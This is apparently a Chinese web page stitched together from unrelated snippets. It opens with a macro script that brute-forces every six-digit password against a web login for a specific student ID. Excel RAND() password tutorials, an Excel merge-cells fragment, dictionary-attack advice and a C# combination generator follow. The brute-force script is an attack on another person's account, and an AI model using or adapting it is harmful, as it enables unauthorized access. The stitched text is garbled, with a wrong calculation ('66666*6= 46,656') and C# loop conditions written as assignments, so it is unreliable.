我提供一个基本代码给你,你可以适当修改,不过按键精灵破解也很慢,因为网页刷新受到网速影响,代码如下:
For i = 0 To 999999
m = Len(i)
Zeros = String(6 - m, "0")
PassWord = Zeros i
//上面三行生成密码,从000000-999999
MoveTo x1, y1 //ID框的坐标
Delay 50
LeftClick 1
SayString "201331041015"
Delay 200
MoveTo x2, y2 //密码处坐标
Delay 50
LeftClick 1
SayString PassWord //不知道这个函数输入密码支不支持,你要用你同学已知密码的测试
//如果不支持输入密码,那就不用做了。
MoveTo x3, y3 //移动到登陆
Delay 50
LeftClick 1
Delay 500
MoveTo x3, y3 //密码错误点对话框
Delay 50
LeftClick 1
Delay 2000 //这个延时不好确定,因为和网速有关,你可以用WaitClick函数手动控制
Call Plugin.Msg.Tips(PassWord)
//这句你可以在屏幕右下角看密码,下次可以把i=0这个改了,继续弄
Next
怎样利用Excel随机函数rand()生成随机密码
办公软件Excel中有个随机函数rand(),就可以生成随机密码,经测试生成六位数数字密码即100000-999999都是有效的。
网上到处都有随机密码生成器,只要下载下来就可以生成随机密码,但是通常此类软件有使用限制,一般只能生成10个密码。对于有特殊需求的,如果需要随机生成几百个随机密码,这个方法的局限性是显而易见的,我们必须寻求其他方法。
其实,我们经常用的'办公软件Excel中有个随机函数rand(),就可以生成随机密码,经测试生成六位数数字密码即100000-999999都是有效的。
在单元格中输入=INT(RAND()*900000+100000)(如图B列)
解释:rand()是产生一个0-1之间的数,*900000+100000是把它扩大变成6位数,int()是取整,把它后面产生的小数去掉。
延伸:rand()函数也可以产生随机字母
在单元格中输入=CHAR(INT(RAND()*26+97))可以生成一个随机小写字母;=CHAR(INT(RAND()*26+65))生成一个随机大写字母。
如果要生成一个字母和数字组成的随机密码,可以将以上方法结合使用。
例如要生成一个第一位和第四位是字母,其它是数字的六位密码:
=(CHAR(INT(RAND()*26+97))INT(RAND()*90+10) CHAR(INT(RAND()*26+97)) INT(RAND()*90+10))(如图C列)
excel怎么合并单元格的方法
今天有网友在QQ上问了笔者一个excel合并单元格的问题,找不到怎么合并了。下面针对这个问题,笔者今天就把“excel怎么合并单元格”的方法和步骤详细的说下,希望对那些刚用excel软件还不太熟悉的朋友有所帮助。 ;
先用字典生成器,生成字典。然后用穷举法穷举。如果是纯数字的密码,很快。
补充:穷举法,就是 列出所有可能出现的单位。6位密码,如果是纯数字,就从000000,000001,000002到999999都试一遍。
试试《文件批量处理百宝箱V8.0》拓展界面中的批量随机数功能吧。选择随机数的类型和位数,然后勾选附加在后并在其后面输入待附加的内容比如zzzzz,最后单击“产生”,得到的密码随机数保存在一个txt文件中以备用。
下载地址:
129980组成的六位密码的全部组合数量就是66666*6= 46,656种。
如果需要全部组合的话,你可以使用C#中的循环语句来生成所有组合,并将其保存到文件或者数据库中。
Copy codefor (int i = 1; i = 6; i++)
{ for (int j = 1; j = 6; j++)
{ for (int k = 1; k = 6; k++)
{ for (int l = 1; l = 6; l++)
{ for (int m = 1; m = 6; m++)
{ for (int n = 1; n = 6; n++)
{
Console.WriteLine(i.ToString() + j.ToString() + k.ToString() + l.ToString() + m.ToString() + n.ToString()); // 保存组合
}
}
}
}
}
}
请注意这种方式生成的组合数量非常大,可能需要很长时间,而且会占用大量的内存和存储空间。